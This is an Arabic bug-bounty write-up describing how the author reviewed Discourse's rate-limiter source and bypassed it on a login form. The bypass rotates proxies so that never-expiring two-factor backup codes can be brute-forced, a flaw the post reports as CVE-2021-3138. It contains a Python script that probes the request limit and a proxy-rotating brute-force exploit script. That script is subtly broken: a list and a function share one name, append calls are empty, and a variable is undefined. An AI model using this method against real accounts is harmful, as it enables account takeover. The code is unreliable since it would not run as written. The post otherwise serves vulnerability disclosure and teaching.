Recon > Code Review > 0day > CVE-2021–3138 > Apple HOF
يالله حيهم ^_^ , والله ماأدري من وين أبدأ بالضبط لكن ببدأ بتوضيح بسيط لايهمك الثغرة المشروحة ولايهمك مدى خطورتها من عدمه , كل اللي أتمنى تستفيد منه هو طريقة التفكير والبحث عن المعلومة ( قوقل^مالانهاية ) وربط النتائج ببعضها وتحديد نقاط الضعف وأخيرا إستغلالها بالشكل الصحيح , قراءة ممتعة
Recon
ماراح أفصل هنا لكثرة المصادر لكن بإختصار ماسويت ريكون كامل على غير العادة , كل اللي سويته جمعت بعض الصب دومينز بإستخدام بعض الأدوات مثل
Findomain , Assetfinder , Amass , Permutations ..etc
وعلى طول لفت إنتباهي هذا بالذات
السبب بإختصار الفورمز عادة تكون مكان مناسب ( لي ) على الأقل لأن فيها مجال واسع للفحص .
Wappalyzer أول ماسميت بالله ودخلت شيكت على إضافة

أخذت نوت وخليتها على جنب وكملت فحص
Code Review
Black Box Testing قبل جزئية الكود ريفيو أنا بديت فحص كـ
بعد ماأخذت وقت أفحص , كان بالفورم عندهم تحقق ثنائي وكان عن طريق 10 باك اب كودز تاخذها من بروفايلك وتحفظها عندك
لحد الآن ماشين صح , بس هنا فيه عندهم مشكلة وهي الباك ابز كود ماتنتهي , معناتها لو وصلنا لطريقة تخمين بكذا راح نتخطى التحقق الثنائي
حلوين الحين كل اللي علينا نجرب نخمن وبكذا خلاص صح ؟ لا موب صح لأن كان فيه
Rate Limit :(

للأسف الحياة ماكانت سهلة
طيب حاولت بعض المحاولات لكن تذكرت نتيجة الوابالايزر وجاء براسي ( أبحث عن السورس كود لعل وعسى يكون مفتوح المصدر )
بحث سريع
Discourse 2.7.0 github
بالفعل لقيته مفتوح المصدر ورايح مبسوط يقال لي إني صدتهم بهالسهولة لكن

بعد مادخلت جاني لاق من الصدمة , والله ماأدري من وين ألقاها هل من عدد الأشخاص القائمين على البروجكت أو من عدد الكوميتس اللي كلها تدل على إن البروجكت ضخم جدا جدا جدا أو من الطامة الكبرى وهي إن البروجكت كامل مكتوب بالروبي اللي ماأعرف عنها إلا إسمها ( رسميا بلشت )
Ruby on Rails
طيب البروجكت ضخم وكمية كودز ماتخلص من هنا لسنة قدام وفوقها مكتوب بروبي اللي ماأعرف عنها أي شي , أسحب ؟ أشوف تارقت ثاني ؟
لالا , هو صح أنا ماأعرف للروبي والبروجكت ضخم لكن أعرف أستخدم قوقل
من هنا بدأت رحلة الضياع والتعلم والمتعة والضغط وكل المشاعر فالحياة
قلت أنا براسي شي واحد وهو أعرف الـ
Rate Limit Mechanism
إيش الليمت عليه بالضبط ؟ وهل فيه إمكانية أتخطاه أو لا
نزلت السورس كود كامل على جهازي وبديت أدور بين المجلدات وكان هذا وضعي

بعدها حاولت أضيق مجال البحث بحيث إني أبحث عن بعض الكلمات مثل
rate limit , request , limit , exceed , maximum
لأن في الأول والأخير اللي قاعد يصير هو إنه يجيني بلوك بعد عدد ريكوستات محدد
كملت أبحث لين أخيرا طحت على هالكود

بالبداية شفت الكلاس اللي إسمه ريت ليميتر قلت ياخي خلاااص كش ملك. لكن للأسف أرجع وأقول الحياة ماكانت سهلة
وأصلا فيه مشكلة هنا , وهي ماعندي أي أساسيات للروبي وبكذا أنا وش جالس أسوي هنا ؟ فقلت بمسك هالكود وببدأ أحلله سطر سطر
وفعلا بديت الرحلة والصورة تتكلم

أول وأفضل مصدر تاخذ أساسيات أي لغة برمجية أو تبحث عن أي
documentations هو الـ built-in classes , methods , libraries , errors ..etc
الخاصة باللغة نفسها
ومن المصادر الممتازة
الحمد لله بعدها بساعتين تقريبا فهمت بعض الأساسيات اللي كانت موجودة بالكود فوق ومنها
Classes , attribute accessor , initialize function ( constructor ) , Inheritance and conditions
وعشان أثبت المفاهيم فتحت روبي أونلاين كومبايلر وكتبت هالكود اللي مدري وش يبغا بالحياة بس المهم أثبت المفاهيم عشان أعرف أكمل

حلوين الحين ماإستفدت من الملف السابق أي شي حاليا فقلت لازم أرجع أبحث request_tracker.rb وفعلا بحثت لين وصلت لملف ثاني كان بإسم
كان 303 سطر لكن الشكوى لله أنا وش اللي جابني هنا
بدأت أقرأ بالكود لحد ماوصلت هنا

وهنا وبعد ماطلعت عيوني أيام وأيام لقيت الكود اللي بنسبة كبيرة أشوفه ضالتي وكنزي المفقود حسبي عليه
طيب الكود اللي فوق ( مجازا )كان ياخذ اﻵي بي لأي ريكويست وبعدها يسوي
2 objects form RateLimiter Class > limiter10 & limiter60
يعني بكل إختصار ( مجازا أقين ) كان يشيك عدد الريكويستس اللي جاية من اﻵي بي وكان فيه عدد محدد من الريكويستات مسموح فيه وكان في تكملة الكود عندهم ثلاث أنواع من النتائج وهي
block , warn+block , warn
يعني إذا عديت الماكسيموم ريكويست يجيك واحد من الثلاث اللي فوق حسب الكونفقريشين وهذا اللي فهمته بعدين وراح تفهمون كيف
باقي خطوة أخيرة وهي , كم عدد الريكوستات اللي بعدها يسوي بلوك ؟
فهنا بدأت رحلة البحث الأخيرة وهي عن قيم
max_reqs_per_ip_per_10_seconds
max_reqs_per_ip_per_minute
وبما إن الكودز اللي عندي ماتنتهي من كثرها قررت أبحث كذا
cat * | grep -E “max_reqs_per_ip_per_10_seconds|max_reqs_per_ip_per_minute”
لين ماطحت أخيرا عليها وكانت بملف الكونفيق اللي مفروض إني قرأته من زمان لكن الكلام الحين سهل وقتها عيوني بتطلع من كثرة الكودز اللي أقراها والفنكشنز
وبالمريخ بعد documentations والمكتبات اللي أبحث عنها بقوقل وبالـ

هنا عرفت إن عدد الريكويستات المسموح خلال 10 ثواني هو 50 بعدها آخذ بلوك زي request_tracker.rb مافهمت من الكود اللي كان بملف
بدأت أربط الأكواد ببعضها وخلاص أقدر أقول إكتملت السايكل , لكن قبلها قلت خلني GlobalSetting أبحث بقوقل شوي عن
GlobalSetting.max_reqs_per_ip_per_10_seconds
GlobalSetting.max_reqs_per_ip_per_minute
CO-FOUNDER وفي الأخير لقيت هالرد من أخونا في الله الـ

فهنا أولا تأكدت إن ربطي للكودز كان صحيح بس بنفس الوقت فهمت إن هذي القيم هي الديفولت ويقدر صاحب الموقع يغيرها بوقت التنصيب
Recap
فحصنا الموقع بشكل سريع ولقينا فيه ريت ليمت لكن مانعرف كيف وليش يصير , بعدها رحت للكود وفهمت بعد ماطلعت عيوني إن الريت ليميت فعليا ببساطة يسوي unique ip بلوك إذا جاء 50 ريكويست خلال 10 ثواني( في حالة الديفولت ) من
0day
كانت التجربة على الفورم الخاص بسويفت , بس مشكلتي الوحيدة هي لازم أعرف هل سويفت معدلين الديفولت كونفيقريشن أو لا ؟ فسويت هالكود البسيط جدا والهدف منه نرسل عدد ريكويست ونشوف متى راح يعطينا بلوك وبكذا نقرر إذا مغيرين قيم الديفولت أو لا , وإذا مغيرينها كم عدد الماكسيموم ريكويست الجديد؟
التجربة راح تكون على صفحة تسجيل الدخول ( على سبيل المثال )
import requests
for _ in range(200): header = {
"X-CSRF-Token": "ur X-CSRF-Token",
"Cookie": "ur Cookie",
"X-Requested-With": "XMLHttpRequest"
} body = {"login": "Mesh3L", "password": "Mesh3L"+"_", "second_factor_method": "2"} status_code = requests.post("ur target_url", headers=header, data=body).status_code print(" \n Request num > {} Status Code > {} \n".format(_+1, status_code)) if status_code != 200:
exit()
Output :

وبكذا عرفنا إن قيم الديفولت متغيرة والماكسيموم ريكويست عندهم هو 5 وبعدها يعطينا بلوك
(نقدر نكتب إستغلال بدون المعلومة هذي وراح أقول لكم كيف لكن فائدتها عشان أقدر أعرف عدد تقريبي للبروكسيز اللي راح أحتاجها بالإستغلال النهائي )
أخيرا
نجمع كل اللي فوق مع بعض , نحتاج نسوي بايثون سكريبت وظيفته يخمن على الباك اب كودز للتحقق الثنائي مع تغيير اﻵي ( الطريقة الأولى هي عن طريق إننا نخمن لحد ماناخذ بلوك يعني تصير الستاتس كود 429 وبكذا نغير الآي بي , والطريقة الثانية هي إننا نستخدم الخطوة اللي فوق ونعرف كم عدد الماكسيموم ريكويست ونغير الآي بي قبل نوصل للعدد هذا )
import requests
username = input("\n input ur username : ")
password = input("\n input ur password : ")
session=requests.session()
proxies = []
def proxies():
proxies_path = input("\n input ur proxies path : ")
with open(proxies_path, 'r') as prox:
for _ in prox.read().splitlines():
proxies.append()
backup_codes = []
def backup_list():
Backup_codes = input("\n input ur Backup_codes list path : ")
with open(Backup_codes, 'r') as codes:
for _ in codes.read().splitlines():
backup_codes.append()
def exploit():
with open('Backup_codes.txt', 'w') as results:
try:
for __ in proxies:
for _ in codes.read().splitlines():
header =\
{
"X-CSRF-Token": "ur X-CSRF-Token",
"Cookie": "ur Cookie",
"X-Requested-With": "XMLHttpRequest"
}
body = {"login": username, "password": password, "second_factor_token": _, "second_factor_method": "2"}
request = session.post("ur target_url", headers=header, data=body, proxies={'http': __, 'https':__})
source = request.text
backup_codes.remove(_)
if request.status_code == 200:
if '"id"' in source:
results.write("The Backup_Coude is > {} ".format(_))
return True
else:
pass
else:
proxies.remove(__)
break
except requests.exceptions.SSLError and requests.exceptions.ConnectionError:
print(" Connection Failed :( ")
results.close()
def main():
if exploit():
print("\n Found :) \n")
else:
print("\n Please re-check ur inputs :( \n")
if __name__ == '__main__':
main()

وبكذا ولله الحمد نكون تخطينا الريت ليميت ووصلنا لـ
2FA Bypass ^_^
CVE
CVE-2021–3138
Apple HOF

Time-Line for Apple report:
reported : 04/01/2021
disclosed : 18/02/2021
HOF : 27/03/2021
Finally
كلمة أخيرة
أتمنى والله العظيم الرايت اب هذا يفيد ولو شخص واحد , وماأبغا منكم غير دعوة لي ولوالدي ولمن يعز علي
واجهت شوي صعوبة في كتابة الرايت اب بالعربي فبعض المصطلحات دخلتها بالجدار لكن الشكوى لله.
اللهم إن أخطأت فمن نفسي ومن الشيطان وإن أصبت فمن فضلك وكرمك وجودك
دعواتكم
Happy Hunting ^_^